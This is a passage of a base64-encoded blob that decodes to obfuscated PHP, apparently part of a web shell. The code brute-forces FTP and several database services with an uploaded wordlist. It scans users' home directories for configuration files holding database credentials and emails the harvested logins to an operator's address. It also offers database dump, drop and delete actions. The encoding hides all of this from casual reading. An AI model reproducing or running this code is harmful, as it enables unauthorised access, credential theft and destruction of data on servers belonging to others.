cnJheSgpOyAkbGlzdD1AZm9wZW4oJF9GSUxFU1snd29yZGxpc3QnXVsndG1wX25hbWUnXSwncicpOyBpZihAaXNfcmVzb3VyY2UoJGxpc3QpKXsgd2hpbGUoIUBmZW9mKCRsaXN0KSl7ICRkaWN0aW9uYXJ5W109QHRyaW0oQGZnZXRzKCRsaXN0KSk7IH0gQGZjbG9zZSgkbGlzdCk7IH0gJGRpY3Rpb25hcnk9QGFycmF5X3VuaXF1ZSgkZGljdGlvbmFyeSk7IH0gaWYoJGJzZXJ2aWNlPT0iRlRQIiYmJGJmdHApeyAkdGltZT0zOyAkc3VjY2Vzcz0wOyAkY291bnQ9MDsgaWYoIUBlbXB0eSgkYnJ1KSYmISRzdG9wKXsgJHRlc3Q9ejJmKCRicmgsJGJycCwkdGltZSwkYnJ0ZXN0MSwkYnJ0ZXN0MiwkYnJ0ZXN0MywkYnJ0ZXN0NCwkYnJ1KTsgaWYoISR0ZXN0KSAkc3RvcD0xOyB6MmcoJHRlc3RbMF0sJHRlc3RbMV0sJHRlc3RbMl0pOyB9IGlmKCgkYnJtPT0iMiJ8fCRicm09PSIzIikmJiEkc3RvcCl7IGZvcmVhY2goJHVzZXJzIGFzICR1c2VyKXsgJHRlc3Q9ejJmKCRicmgsJGJycCwkdGltZSwkYnJ0ZXN0MSwkYnJ0ZXN0MiwkYnJ0ZXN0MywkYnJ0ZXN0NCwkdXNlcik7IGlmKCEkdGVzdCl7ICRzdG9wPTE7IGJyZWFrOyB9IHoyZygkdGVzdFswXSwkdGVzdFsxXSwkdGVzdFsyXSk7IGlmKCRicm09PSIzIil7IGZvcmVhY2goJGRpY3Rpb25hcnkgYXMgJHBhc3N3ZCl7ICR0ZXN0PXoyZigkYnJoLCRicnAsJHRpbWUsJGJydGVzdDEsJGJydGVzdDIsJGJydGVzdDMsJGJydGVzdDQsJHVzZXIsJHBhc3N3ZCk7IHoyZygkdGVzdFswXSwkdGVzdFsxXSwkdGVzdFsyXSk7IH0gfSB9IH1lbHNlIGlmKCRicm09PSIxIiYmIUBlbXB0eSgkYnJ1KSYmISRzdG9wKXsgZm9yZWFjaCgkZGljdGlvbmFyeSBhcyAkcGFzc3dkKXsgJHRlc3Q9ejJmKCRicmgsJGJycCwkdGltZSwkYnJ0ZXN0MSwkYnJ0ZXN0MiwkYnJ0ZXN0MywkYnJ0ZXN0NCwkYnJ1LCRwYXNzd2QpOyBpZighJHRlc3QpeyAkc3RvcD0xOyBicmVhazsgfSB6MmcoJHRlc3RbMF0sJHRlc3RbMV0sJHRlc3RbMl0pOyB9IH0gZWNobyAiXHJcbi0tLS0tLS0tLS0tLS0tLS0tLS0tXHJcbiI7IGVjaG8gejl5KCI0MjYiLCRjb3VudCkuIlxyXG4iOyBlY2hvIHo5eSgiNDI3Iiwkc3VjY2VzcykuIlxyXG4iOyB9ZWxzZWlmKCRibXlzcWx8fCRibXNzcWx8fCRib3JhY2xlfHwkYnBvc3RncmVzKXsgJHN1Y2Nlc3M9MDsgJGNvdW50PTA7IGlmKCFAZW1wdHkoJGJydSkpeyAkdGVzdD16MnMoJGJyaCwkYnJwLCRic2VydmljZSwkYnJ0ZXN0MSwkYnJ0ZXN0MiwkYnJ0ZXN0MywkYnJ0ZXN0NCwkYnJ1LE5VTEwsKCFAZW1wdHkoJGJyZGIpPyRicmRiOicnKSk7IHoyZygkdGVzdFswXSwkdGVzdFsxXSwkdGVzdFsyXSk7IH0gaWYoJGJybT09IjIifHwkYnJtPT0iMyIpeyBmb3JlYWNoKCR1c2VycyBhcyAkdXNlcil7ICR0ZXN0PXoycygkYnJoLCRicnAsJGJzZXJ2aWNlLCRicnRlc3QxLCRicnRlc3QyLCRicnRlc3QzLCRicnRlc3Q0LCR1c2VyLE5VTEwsKCFAZW1wdHkoJGJyZGIpPyRicmRiOicnKSk7IHoyZygkdGVzdFswXSwkdGVzdFsxXSwkdGVzdFsyXSk7IGlmKCRicm09PSIzIil7IGZvcmVhY2goJGRpY3Rpb25hcnkgYXMgJHBhc3N3ZCl7ICR0ZXN0PXoycygkYnJoLCRicnAsJGJzZXJ2aWNlLCRicnRlc3QxLCRicnRlc3QyLCRicnRlc3QzLCRicnRlc3Q0LCR1c2VyLCRwYXNzd2QsKCFAZW1wdHkoJGJyZGIpPyRicmRiOicnKSk7IHoyZygkdGVzdFswXSwkdGVzdFsxXSwkdGVzdFsyXSk7IH0gfSB9IH1lbHNlIGlmKCRicm09PSIxIiYmIUBlbXB0eSgkYnJ1KSl7IGZvcmVhY2goJGRpY3Rpb25hcnkgYXMgJHBhc3N3ZCl7ICR0ZXN0PXoycygkYnJoLCRicnAsJGJzZXJ2aWNlLCRicnRlc3QxLCRicnRlc3QyLCRicnRlc3QzLCRicnRlc3Q0LCRicnUsJHBhc3N3ZCwoIUBlbXB0eSgkYnJkYik/JGJyZGI6JycpKTsgejJnKCR0ZXN0WzBdLCR0ZXN0WzFdLCR0ZXN0WzJdKTsgfSB9IGVjaG8gIlxyXG4tLS0tLS0tLS0tLS0tLS0tLS0tLVxyXG4iOyBlY2hvIHo5eSgiNDI2IiwkY291bnQpLiJcclxuIjsgZWNobyB6OXkoIjQyNyIsJHN1Y2Nlc3MpLiJcclxuIjsgZWNobyAkbG9nOyB9IGlmKCRicnV0ZV9sb2c9PSIxIiYmJHN1Y2Nlc3M+MCl7IEBtYWlsKCRicnV0ZV9lbWFpbCwiJGJzZXJ2aWNlfCRicmg6JGJycCIsJGxvZyk7IH0gZWNobyB6NXEoKS56N3koKS56N2YoKS56MTBxKCkuejZzKCk7IH0gaWYoQGlzc2V0KCRzcWxmaW5kKSYmJHNxbGZpbmQmJiFAZW1wdHkoJGR2dXNlcikmJiFAZW1wdHkoJGR2cGFzcykpeyBlY2hvIHozcSh6OXkoIjMzMCIpKS56NnMoKTsgZWNobyB6OW0oJzInKS56N28oKS56NnEoKS56NXcoIiIsIjEiKTsgejVvKCk7ICRmcGF0aHM9JHRwYXRocz0kZHBhdGhzPSRzcGF0aHM9JGdsb2I9YXJyYXkoKTsgJGZhcnI9QGV4cGxvZGUoIjsiLCRkdmZpbGVzKTsgJHRwYXRoPScnOyAkdHBhdGhzW109Jyc7IGlmKEBpc19udW1lcmljKCRkdHJlY3Vyc2l2ZSkpeyBmb3IoJGk9MDskaTwkZHRyZWN1cnNpdmU7JGkrKyl7ICR0cGF0aC49JyovJzsgJHRwYXRoc1tdPSR0cGF0aDsgfSB9IGVsc2UgeyAkdHBhdGhzW109JyovJzsgfSBpZigkZHZkZWZpbmVkPT0iYWxsIiYmQGlzc2V0KCRhcnJfbWFzc19wYXRocykmJkBpc19hcnJheSgkYXJyX21hc3NfcGF0aHMpJiZAY291bnQoJGFycl9tYXNzX3BhdGhzKT4wKXsgJGZhcnI9JGFycl9tYXNzX3BhdGhzOyB9IGZvcmVhY2goQGFycmF5X3VuaXF1ZSgkdHBhdGhzKSBhcyAkdHBhdGgpeyBmb3JlYWNoKEBhcnJheV91bmlxdWUoJGZhcnIpIGFzICRmcGF0aCl7ICRmcGF0aD1AdHJpbSgkZnBhdGgpOyBpZighQGVtcHR5KCRmcGF0aCkpeyAkZnBhdGhzW109JHRwYXRoLiRmcGF0aDsgfSB9IH0gc3dpdGNoKCRkdmZpbmQpeyBjYXNlICdkdmRpcic6ICRkcGF0aHNbXT16MWsoJGR2ZGlyKTsgYnJlYWs7IGNhc2UgJ2RvY3Jvb3QnOiAkZHBhdGhzW109ejFrKCR3d3dkaXIpOyBicmVhazsgY2FzZSAncGFzc3dkJzogJHVhcnI9ejhsKDEpOyBpZihAY291bnQoJHVhcnIpPjApeyBmb3JlYWNoKCR1YXJyIGFzICR1az0+JGFycil7IGlmKCFAaW5fYXJyYXkoJGFyclsxXSwkZHBhdGhzKSYmJGFyclsxXSE9Jy8nJiYhQHByZWdfbWF0Y2goJyNeKC92YXIvcnVufC92YXIvbG9nfC92YXIvY2FjaGV8L3Zhci9tYWlsfC92YXIvY2FjaGV8L3Zhci9iYWNrdXB8L3Vzci9nYW1lc3wvbGlifC92YXIvbGlifC92YXIvdG1wfC90bXB8L2RldnwvcHJvY3wvc2JpbnwvdXNyL3NiaW58L3Vzci9sb2NhbC9zYmlufC9iaW58L3Vzci9iaW58L3Vzci9sb2NhbC9iaW4pIycsJGFyclsxXSkmJno0aigkYXJyWzFdKSkgJGRwYXRoc1tdPXoxaygkYXJyWzFdKTsgfSB9IHVuc2V0KCR1YXJyKTsgYnJlYWs7IGRlZmF1bHQ6IGJyZWFrOyB9IGZvcmVhY2goQGFycmF5X3VuaXF1ZSgkZHBhdGhzKSBhcyAkZHBhdGgpeyBmb3JlYWNoKEBhcnJheV91bmlxdWUoJGZwYXRocykgYXMgJGZwYXRoKXsgJHNwYXRoc1tdPSRkcGF0aC4kZnBhdGg7IH0gfSB1bnNldCgkZnBhdGhzKTsgdW5zZXQoJHRwYXRocyk7IHVuc2V0KCRkcGF0aHMpOyBmb3JlYWNoKCRzcGF0aHMgYXMgJHNwYXRoKXsgJHRnbG9iPUBnbG9iKCRzcGF0aCk7IGlmKEBpc19hcnJheSgkdGdsb2IpJiZAY291bnQoJHRnbG9iKT4wKXsgZm9yZWFjaCgkdGdsb2IgYXMgJHRmaWxlKXsgaWYoIUBpbl9hcnJheSgkdGZpbGUsJGdsb2IpKSAkZ2xvYltdPSR0ZmlsZTsgfSB9IH0gJGdsb2I9QGFycmF5X3VuaXF1ZSgkZ2xvYik7IHVuc2V0KCRzcGF0aHMpOyBpZihAY291bnQoJGdsb2IpPjApeyAkbG9nPScnOyAkbGluZT1Ac3RyX3JlcGVhdCgiLSIsMTAwKS4iXHJcbiI7ICRmaW5hbF9hcnI9YXJyYXkoKTsgZm9yZWFjaCgkZ2xvYiBhcyAkZmlsZSl7ICR0Y3Q9ejlvKCRmaWxlKTsgaWYoIUBlbXB0eSgkdGN0KSl7IGlmKCRkdmRlZmluZWQ9PSJhbGwiJiZAaXNzZXQoJGFycl9tYXNzKSYmQGlzX2FycmF5KCRhcnJfbWFzcykmJkBjb3VudCgkYXJyX21hc3MpPjApeyBmb3JlYWNoKCRhcnJfbWFzcyBhcyAkc29mdHdhcmU9PiRkZWZpbmVzKXsgJGJhc2U9IiI7ICR1c2VyPXo0YigkZGVmaW5lc1sxXSwkZGVmaW5lc1swXSwkdGN0KTsgJHBhc3M9ejRiKCRkZWZpbmVzWzNdLCRkZWZpbmVzWzJdLCR0Y3QpOyBpZighQGVtcHR5KCRkZWZpbmVzWzRdKSl7ICRiYXNlPXo0YigkZGVmaW5lc1s1XSwkZGVmaW5lc1s0XSwkdGN0KTsgfSBpZighQGVtcHR5KCRkZWZpbmVzWzZdKSl7ICRob3N0PXo0YigkZGVmaW5lc1s3XSwkZGVmaW5lc1s2XSwkdGN0KTsgfSBpZighQGlzc2V0KCRob3N0KXx8QGVtcHR5KCRob3N0KSkgJGhvc3Q9ImxvY2FsaG9zdCI7IGlmKCFAZW1wdHkoJGhvc3QpJiYhQGVtcHR5KCR1c2VyKSYmIUBlbXB0eSgkcGFzcykpeyAkYWRkPTA7IGlmKEBpc3NldCgkZHZzcWx0ZXN0KSYmJGR2c3FsdGVzdCl7IGlmKHozaCgkaG9zdCwkdXNlciwkcGFzcywiMzMwNiIsIk15U1FMIik9PSJ2YWxpZCIpICRhZGQ9MTsgfSBlbHNlIHsgJGFkZD0xOyB9IGlmKCRhZGQpeyAkdG1wID0gJGxpbmU7ICR0bXAgLj0gIiRmaWxlXHJcbiI7ICR0bXAgLj0gIlNvZnR3YXJlIHRlc3RlZDogJHNvZnR3YXJlXHJcbiI7ICR0bXAgLj0gJGxpbmU7ICR0bXAgLj0gImhvc3Q6ICRob3N0XHJcbiI7ICR0bXAgLj0gInVzZXI6ICR1c2VyXHJcbiI7ICR0bXAgLj0gInBhc3M6ICRwYXNzXHJcbiI7ICR0bXAgLj0gImRhdGFiYXNlOiAkYmFzZVxyXG5cclxuIjsgZWNobyAkdG1wOyAkbG9nLj0kdG1wOyBpZighQGlzc2V0KCRmaW5hbF9hcnJbJGZpbGVdKSkgJGZpbmFsX2FyclskZmlsZV09YXJyYXkoJGhvc3QsJHVzZXIsJHBhc3MsJGJhc2UsJHNvZnR3YXJlKTsgYnJlYWs7IH0gfSB9IH0gZWxzZSB7ICRiYXNlPSIiOyAkdXNlcj16NGIoJGR0dXNlciwkZHZ1c2VyLCR0Y3QpOyAkcGFzcz16NGIoJGR0cGFzcywkZHZwYXNzLCR0Y3QpOyBpZighQGVtcHR5KCRkdmJhc2UpKXsgJGJhc2U9ejRiKCRkdGJhc2UsJGR2YmFzZSwkdGN0KTsgfSBpZighQGVtcHR5KCRkdmhvc3QpKXsgJGhvc3Q9ejRiKCRkdGhvc3QsJGR2aG9zdCwkdGN0KTsgfSBpZighQGlzc2V0KCRob3N0KXx8QGVtcHR5KCRob3N0KSkgJGhvc3Q9ImxvY2FsaG9zdCI7IGlmKCFAZW1wdHkoJGhvc3QpJiYhQGVtcHR5KCR1c2VyKSYmIUBlbXB0eSgkcGFzcykpeyAkYWRkPTA7IGlmKEBpc3NldCgkZHZzcWx0ZXN0KSYmJGR2c3FsdGVzdCl7IGlmKHozaCgkaG9zdCwkdXNlciwkcGFzcywiMzMwNiIsIk15U1FMIik9PSJ2YWxpZCIpICRhZGQ9MTsgfSBlbHNlIHsgJGFkZD0xOyB9IGlmKCRhZGQpeyAkdG1wID0gJGxpbmU7ICR0bXAgLj0gIiRmaWxlXHJcbiI7ICR0bXAgLj0gJGxpbmU7ICR0bXAgLj0gImhvc3Q6ICRob3N0XHJcbiI7ICR0bXAgLj0gInVzZXI6ICR1c2VyXHJcbiI7ICR0bXAgLj0gInBhc3M6ICRwYXNzXHJcbiI7ICR0bXAgLj0gImRhdGFiYXNlOiAkYmFzZVxyXG5cclxuIjsgZWNobyAkdG1wOyAkbG9nLj0kdG1wOyBpZighQGlzc2V0KCRmaW5hbF9hcnJbJGZpbGVdKSkgJGZpbmFsX2FyclskZmlsZV09YXJyYXkoJGhvc3QsJHVzZXIsJHBhc3MsJGJhc2UpOyB9IH0gfSB9IHVuc2V0KCR0Y3QpOyB9IH0gZWNobyB6NXEoKS56N3koKS56N2YoKS56MTBxKCkuejZzKCk7IGlmKCRkdl9sb2c9PSIxIiYmJGxvZyE9JycpeyBAbWFpbCgkZHZfZW1haWwsIkRCU3wkc2FkZHIiLCRsb2cpOyB9IH0gaWYoQGlzc2V0KCRmaW5hbF9hcnIpJiZAY291bnQoJGZpbmFsX2Fycik+MCl7IGVjaG8gejltKCIyIikuejd1KHo5Yyh6OXkoIjMzMSIpLCIxMyIsIjIiKS56OWMoejl5KCIzMzIiKSwiMTMiKS56OWMoejl5KCIzMzMiKSwiMTMiKS56OWMoejl5KCIzMzQiKSwiMTMiKS56OWMoejl5KCIzMzUiKSwiMTMiLCIzIikpOyAkdHI9MDsgZm9yZWFjaCgkZmluYWxfYXJyIGFzICRmaWxlPT4kYXJyYXkpeyBlY2hvIHo2ZigoJHRyJTI/JzAnOicxJykpOyAkdGM9QGNvdW50KCRhcnJheSk7ICRkc29mdD0nJzsgaWYoJHRjPT01KXsgJHRjPTQ7ICRkc29mdD0kYXJyYXlbJHRjXTsgfSBmb3IoJGk9MDskaTwkdGM7JGkrKyl7IGVjaG8gejljKCRhcnJheVskaV0sIjE0IiwoJGk9PTA/IjIiOiIiKSk7IH0gZWNobyB6OWMoejV4KGFycmF5KCJhY3QiPT4ic3FsIiwiZCIsInNxbF9yZWZyZXNoIj0+IjEiLCJzcWxfc2VydmVyIj0+JGFycmF5WzBdLCJzcWxfdXNlciI9PiRhcnJheVsxXSwic3FsX3Bhc3MiPT4kYXJyYXlbMl0sInNxbF9kYiI9PiRhcnJheVszXSwic3FsX3BvcnQiPT4iMzMwNiIsInNxbF9lbmdpbmUiPT4iTXlTUUwiKSx6OGIoejl5KCIzMzYiKSwiNyIpLigoJGRzb2Z0IT0nJyk/IiAoIi4kZHNvZnQuIikiOicnKSwxKSwiMTQiLCIzIik7IGVjaG8gejd5KCk7ICR0cisrOyB9IH0gfSBpZigkYWN0PT0nc3FsJyl7ICRoaWRlY29ubmVjdD0wOyAkaG1zZz0nJzsgaWYoQGlzc2V0KCRzcWxfYWN0KSYmJHNxbF9hY3Q9PSJsb2dvZmYiKXsgejBpKCdzcWxfc2VydmVyJyk7IHowaSgnc3FsX3VzZXInKTsgejBpKCdzcWxfcGFzcycpOyB6MGkoJ3NxbF9wb3J0Jyk7IHowaSgnc3FsX2VuZ2luZScpOyB6MGkoJ3NxbF9zZXNzaW9uJyk7IHowaSgnc3FsX3NvcnQnKTsgfSAkc3FsX3Nlc3Npb249MDsgaWYoQGlzc2V0KCRfU0VTU0lPTlsnc3FsX3Nlc3Npb24nXSkpeyBpZighQGlzc2V0KCRzcWxfcmVmcmVzaCl8fCEkc3FsX3JlZnJlc2gpeyAkc3FsX3NlcnZlcj0kX1NFU1NJT05bJ3NxbF9zZXJ2ZXInXTsgJHNxbF91c2VyPSRfU0VTU0lPTlsnc3FsX3VzZXInXTsgJHNxbF9wYXNzPSRfU0VTU0lPTlsnc3FsX3Bhc3MnXTsgJHNxbF9wb3J0PSRfU0VTU0lPTlsnc3FsX3BvcnQnXTsgJHNxbF9lbmdpbmU9JF9TRVNTSU9OWydzcWxfZW5naW5lJ107IGlmKCFAaXNzZXQoJHNxbF9zb3J0KSkgJHNxbF9zb3J0PSRfU0VTU0lPTlsnc3FsX3NvcnQnXTsgJHNxbF9zZXNzaW9uPTE7IH0gZWxzZSB7IHowaSgnc3FsX3NlcnZlcicpOyB6MGkoJ3NxbF91c2VyJyk7IHowaSgnc3FsX3Bhc3MnKTsgejBpKCdzcWxfcG9ydCcpOyB6MGkoJ3NxbF9lbmdpbmUnKTsgejBpKCdzcWxfc2Vzc2lvbicpOyB6MGkoJ3NxbF9zb3J0Jyk7IH0gfSBpZighQGVtcHR5KCRzcWxfc2VydmVyKSYmIUBlbXB0eSgkc3FsX3BvcnQpJiYhQGVtcHR5KCRzcWxfdXNlcikmJkBpc3NldCgkc3FsX3Bhc3MpJiYhQGVtcHR5KCRzcWxfZW5naW5lKSl7IGlmKCFAaXNzZXQoJHNxbF9kYikpICRzcWxfZGI9Jyc7ICRzcWw9bmV3IG15X3NxbCgpOyAkc3FsLT5kYj0kc3FsX2VuZ2luZTsgJHNxbC0+aG9zdD0kc3FsX3NlcnZlcjsgJHNxbC0+cG9ydD0kc3FsX3BvcnQ7ICRzcWwtPnVzZXI9JHNxbF91c2VyOyAkc3FsLT5wYXNzPSRzcWxfcGFzczsgJHNxbC0+YmFzZT0kc3FsX2RiOyBpZigkc3FsLT5jb25uZWN0KCkpeyAkaGlkZWNvbm5lY3Q9MTsgaWYoIUBpc3NldCgkc3FsX3NvcnQpKSAkc3FsX3NvcnQ9IjBhIjsgJF9TRVNTSU9OWydzcWxfc2VydmVyJ109JHNxbF9zZXJ2ZXI7ICRfU0VTU0lPTlsnc3FsX3VzZXInXT0kc3FsX3VzZXI7ICRfU0VTU0lPTlsnc3FsX3Bhc3MnXT0kc3FsX3Bhc3M7ICRfU0VTU0lPTlsnc3FsX3BvcnQnXT0kc3FsX3BvcnQ7ICRfU0VTU0lPTlsnc3FsX2VuZ2luZSddPSRzcWxfZW5naW5lOyAkX1NFU1NJT05bJ3NxbF9zZXNzaW9uJ109MTsgJF9TRVNTSU9OWydzcWxfc29ydCddPSRzcWxfc29ydDsgJGhpZGVjb25uZWN0PTE7ICRkYl9hY3Rpb25zPWFycmF5KCJzZWxlY3QiPT4iU2VsZWN0IiwiZHVtcCI9PiJEdW1wIiwiZHJvcCI9PiJEcm9wIik7ICR0YWJsZV9hY3Rpb25zPWFycmF5KCJicm93c2UiPT4iQnJvd3NlIiwiZHVtcCI9PiJEdW1wIiwiZHJvcCI9PiJEcm9wIiwiZW1wdHkiPT4iRW1wdHkiLCJpbnNlcnQiPT4iSW5zZXJ0Iik7IGVjaG8gejNxKHo5bSgnMicpLno3dSh6NmwoIHo1eChhcnJheSgiYWN0Ij0+InNxbCIsImQiLCJzcWxfc2VydmVyIiwic3FsX3VzZXIiLCJzcWxfcGFzcyIsInNxbF9wb3J0Iiwic3FsX2VuZ2luZSIpLHo4Yih6OXkoIjM1MiIpLCghQGlzc2V0KCRzcWxfYWN0KXx8IUBpbl9hcnJheSgkc3FsX2FjdCxhcnJheSgicXVlcnkiLCJlbWFpbHMiLCJzZXJ2ZXJzdGF0dXMiLCJzZXJ2ZXJ2YXJzIiwicHJvY2Vzc2VzIikpPyIxMiI6IjE0IikpKS4gejV4KGFycmF5KCJhY3QiPT4ic3FsIiwiZCIsInNxbF9zZXJ2ZXIiLCJzcWxfdXNlciIsInNxbF9wYXNzIiwic3FsX3BvcnQiLCJzcWxfZW5naW5lIiwic3FsX2FjdCI9PiJxdWVyeSIsInNxbF9kYiIpLHo4Yih6OXkoIjM1MyIpLChAaXNzZXQoJHNxbF9hY3QpJiYkc3FsX2FjdD09InF1ZXJ5Ij8iMTIiOiIxNCIpKSkuIHo1eChhcnJheSgiYWN0Ij0+InNxbCIsImQiLCJzcWxfc2VydmVyIiwic3FsX3VzZXIiLCJzcWxfcGFzcyIsInNxbF9wb3J0Iiwic3FsX2VuZ2luZSIsInNxbF9hY3QiPT4iZW1haWxzIiwic3FsX2RiIiksejhiKHo5eSgiMzU0IiksKEBpc3NldCgkc3FsX2FjdCkmJiRzcWxfYWN0PT0iZW1haWxzIj8iMTIiOiIxNCIpKSkuIHo1eChhcnJheSgiYWN0Ij0+InNxbCIsImQiLCJzcWxfc2VydmVyIiwic3FsX3VzZXIiLCJzcWxfcGFzcyIsInNxbF9wb3J0Iiwic3FsX2VuZ2luZSIsInNxbF9hY3QiPT4ic2VydmVyc3RhdHVzIiksejhiKHo5eSgiMzU1IiksKEBpc3NldCgkc3FsX2FjdCkmJiRzcWxfYWN0PT0ic2VydmVyc3RhdHVzIj8iMTIiOiIxNCIpKSkuIHo1eChhcnJheSgiYWN0Ij0+InNxbCIsImQiLCJzcWxfc2VydmVyIiwic3FsX3VzZXIiLCJzcWxfcGFzcyIsInNxbF9wb3J0Iiwic3FsX2VuZ2luZSIsInNxbF9hY3QiPT4ic2VydmVydmFycyIpLHo4Yih6OXkoIjM1NiIpLChAaXNzZXQoJHNxbF9hY3QpJiYkc3FsX2FjdD09InNlcnZlcnZhcnMiPyIxMiI6IjE0IikpKS4gejV4KGFycmF5KCJhY3QiPT4ic3FsIiwiZCIsInNxbF9zZXJ2ZXIiLCJzcWxfdXNlciIsInNxbF9wYXNzIiwic3FsX3BvcnQiLCJzcWxfZW5naW5lIiwic3FsX2FjdCI9PiJwcm9jZXNzZXMiKSx6OGIoejl5KCIzNTciKSwoQGlzc2V0KCRzcWxfYWN0KSYmJHNxbF9hY3Q9PSJwcm9jZXNzZXMiPyIxMiI6IjE0IikpKS4gejV4KGFycmF5KCJhY3QiPT4ic3FsIiwiZCIsInNxbF9hY3QiPT4ibG9nb2ZmIiksejhiKHo5eSgiMzU4IiksIjE0IikpICwiIikpLnoxMHEoKSk7IGlmKCRzcWxfZW5naW5lPT0iTXlTUUwiKXsgaWYoIUBpc3NldCgkc3FsX2FjdCkpeyBpZihAaXNzZXQoJHNxbF9kYikmJiFAZW1wdHkoJHNxbF9kYikpeyAkc3FsLT5iYXNlPSRzcWxfZGI7IGlmKCRzcWwtPnNlbGVjdF9kYigpKXsgJHNxbF9hY3Q9ImRiX2FjdCI7ICRkYl9hY3Q9InNlbGVjdCI7IH0gZWxzZSB7ICRzcWxfYWN0PSJzaG93ZGIiOyAkc3FsX2RiPSIiOyAkc3FsLT5iYXNlPSIiOyB9IH0gZWxzZSB7ICRzcWxfYWN0PSJzaG93ZGIiOyB9IH0gJGRicz0kc3FsLT5saXN0X2RicygpOyAkZGJfbGlzdD1hcnJheSgnJz0+ejl5KCIzNjciLEBjb3VudCgkZGJzKSkpOyBmb3JlYWNoKCRkYnMgYXMgJGs9PiR2KSAkZGJfbGlzdFska109JHY7IGlmKCRzcWxfYWN0PT0iZGJfYWN0IiYmQGlzc2V0KCRkYl9hY3QpJiYhQGVtcHR5KCRzcWxfZGIpKXsgc3dpdGNoKCRkYl9hY3QpeyBjYXNlICdkdW1wJzogJHNxbF9hY3Q9ImR1bXAiOyBicmVhazsgY2FzZSAnZHJvcCc6IGlmKEBpc3NldCgkZHJvcF9jb25maXJtKSYmJGRyb3BfY29uZmlybSl7ICRzcWwtPnF1ZXJ5KCdEUk9QIERBVEFCQVNFICcuJHNxbF9kYi4nOycpOyAkc3FsX2FjdD0ic2hvd2RiIjsgJHNxbF9kYj0iIjsgfSBlbHNlIHsgJHNxbF9hY3Q9ImRyb3BkYiI7IH0gYnJlYWs7IH0gfSBlbHNlaWYoJHNxbF9hY3Q9PSJ0YWJsZV9hY3QiJiZAaXNzZXQoJHRhYmxlX2FjdCkmJiFAZW1wdHkoJHNlbF90YWJsZSkpeyBzd2l0Y2goJHRhYmxlX2FjdCl7IGNhc2UgJ2R1bXAnOiAkc3FsX2FjdD0iZHVtcCI7IGJyZWFrOyBjYXNlICdkcm9wJzogaWYoQGlzc2V0KCRkcm9wX2NvbmZpcm0pJiYkZHJvcF9jb25maXJtKXsgJHNxbC0+YmFzZT0kc3FsX2RiOyBpZigkc3FsLT5zZWxlY3RfZGIoKSl7ICRzcWwtPnF1ZXJ5KCdEUk9QIFRBQkxFICcuJHNlbF90YWJsZS4nOycpOyB9ICRzZWxfdGFibGU9IiI7ICRzcWxfYWN0PSJkYl9hY3QiOyAkZGJfYWN0PSJzZWxlY3QiOyB9IGVsc2UgeyAkc3FsX2FjdD0iZHJvcHRhYmxlIjsgfSBicmVhazsgY2FzZSAnZW1wdHknOiBpZihAaXNzZXQoJGVtcHR5X2NvbmZpcm0pJiYkZW1wdHlfY29uZmlybSl7ICRzcWwtPmJhc2U9JHNxbF9kYjsgaWYoJHNxbC0+c2VsZWN0X2RiKCkpeyAkc3FsLT5xdWVyeSgnREVMRVRFIEZST00gJy4kc2VsX3RhYmxlLic7Jyk7IH0gJHNxbF9hY3Q9InRhYmxlX2FjdCI7ICR0YWJsZV9hY3Q9ImJyb3dzZSI7IH0gZWxzZSB7ICRzcWxfYWN0PSJlbXB0eSI7IH0gYnJlYWs7IGNhc2UgJ2luc2VydCc6IGJyZWFrOyBjYXNlICdkZWxldGUnOiAkc3FsLT5iYXNlPSRzcWxfZGI7IGlmKCRzcWwtPnNlbGVjdF9kYigpKXsgJHNxbC0+cXVlcnkoJ0RFTEVURSBGUk9NICcuJHNlbF90YWJsZS4nIFdIRVJFICcuJHNxbF90YmxfaW5zZXJ0X3EuJyBMSU1JVCAxOycpOyB9ICR0YWJsZV9hY3Q9ImJyb3dzZSI7IGJyZWFrOyB9IH0gaWYoIUBpbl9hcnJheSgkc3FsX2FjdCxhcnJheSgic2hvd2RiIiwicXVlcnkiLCJzZXJ2ZXJzdGF0dXMiLCJzZXJ2ZXJ2YXJzIiwicHJvY2Vzc2VzIiwiZW1haWxzIikpKXsgJGRiX3N1Ym1pdF9hY3RzPSR0YWJsZV9zdWJtaXRfYWN0cz0nJzsgZm9yZWFjaCgkZGJfYWN0aW9ucyBhcyAkZGs9PiRkdikgJGRiX3N1Ym1pdF9hY3RzIC49IHo2bygkZGssJGR2LCI3Iik7IGZvcmVhY2goJHRhYmxlX2FjdGlvbnMgYXMgJHRrPT4kdHYpICR0YWJsZV9zdWJtaXRfYWN0cyAuPSB6NXgoYXJyYXkoImFjdCI9PiJzcWwiLCJkIiwic3FsX3NlcnZlciIsInNxbF91c2VyIiwic3FsX3Bhc3MiLCJzcWxfcG9ydCIsInNxbF9lbmdpbmUiLCJzcWxfYWN0IiwidGFibGVfYWN0Ij0+JHRrLCJzcWxfZGIiLCJzZWxfdGFibGUiKSx6Nm8oJHRrLCR0diwiNyIpKTsgJHRhYmxlX3N1Ym1pdF9hY3RzPXoxMHcoejd1KHo5YygkdGFibGVfc3VibWl0X2FjdHMpKSwiMiIpOyAkZGJfdGFibGU9ejEwdyh6N3UoejZsKHo3bih6OXkoIjM2NCIpKS56NXgoYXJyYXkoImFjdCI9PiJzcWwiLCJkIiwic3FsX3NlcnZlciIsInNxbF91c2VyIiwic3FsX3Bhc3MiLCJzcWxfcG9ydCIsInNxbF9lbmdpbmUiLCJzcWxfYWN0Ij0+ImRiX2FjdCIpLHozbSgic3FsX2RiIiwkZGJfbGlzdCwiMCIsMSkuejNtKCJkYl9hY3QiLCRkYl9hY3Rpb25zLCIxIikuejhiKHo5eSgiOTIiKSwiNyIpKSkpLCIyIik7IGlmKEBpc3NldCgkc3FsX2RiKSYmIUBlbXB0eSgkc3FsX2RiKSl7ICRzcWwtPmJhc2U9JHNxbF9kYjsgaWYoJHNxbC0+c2VsZWN0X2RiKCkpeyAkdGFibGVfbGlzdD1hcnJheSgnJz0+Ii0iKTsgJHNxbC0+cXVlcnkoJ1NIT1cgVEFCTEVTIEZST00gJy4kc3FsX2RiLic7Jyk7IGlmKCRzcWwtPmdldF9yZXN1bHQoKSl7IGZvcigkaT0wOyRpPCRzcWwtPm51bV9yb3dzOyRpKyspeyBmb3JlYWNoKCRzcWwtPnJvd3NbJGldIGFzICRyaz0+JHJ2KXsgJHRhYmxlX2xpc3RbJHJ2XT0kcnYuIiAoIi4kc3FsLT5jb3VudF9yb3dzKCRydikuIikiOyB9IH0gfSAkdGFibGVfdGFibGU9ejEwdyh6N3UoejZsKHo3bih6OXkoIjM2NSIpKS56NXgoYXJyYXkoImFjdCI9PiJzcWwiLCJkIiwic3FsX3NlcnZlciIsInNxbF91c2VyIiwic3FsX3Bhc3MiLCJzcWxfcG9ydCIsInNxbF9lbmdpbmUi